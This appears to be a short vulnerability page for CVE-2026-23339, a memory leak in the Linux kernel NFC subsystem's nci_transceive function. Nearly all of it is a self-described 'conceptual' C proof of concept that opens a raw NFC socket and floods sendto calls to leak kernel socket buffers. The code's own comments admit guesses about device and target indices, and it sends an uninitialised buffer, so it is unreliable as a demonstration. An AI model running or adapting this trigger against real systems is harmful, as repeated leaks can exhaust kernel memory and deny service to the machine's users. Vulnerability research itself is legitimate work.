Linux内核NFC子系统nci_transceive内存泄漏漏洞

/* * Conceptual PoC for CVE-2026-23339 * Triggering the memory leak in nci_transceive error paths. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/nfc.h> int main(int argc, char **argv) { int sock; struct sockaddr_nfc addr; char buffer[256]; // Create a raw NFC socket sock = socket(AF_NFC, SOCK_RAW, NFC_SOCKPROTO_RAW); if (sock < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.sa_family = AF_NFC; // Assume target index 0 for demonstration addr.dev_idx = 0; addr.target_idx = 0; addr.nfc_protocol = NFC_PROTO_NFC_DEP; // Loop to trigger the vulnerability repeatedly // In a real scenario, this would interact with a driver to force -EBUSY or -EINVAL for (int i = 0; i < 1000; i++) { // Attempting to send data that might trigger error paths // e.g. sending invalid data or flooding when device is busy sendto(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&addr, sizeof(addr)); // If the driver returns -EPROTO, -EINVAL, or -EBUSY inside nci_transceive, // the skb is leaked. } close(sock); printf("PoC execution completed. Check kernel logs for kmemleak warnings.\n"); return 0; }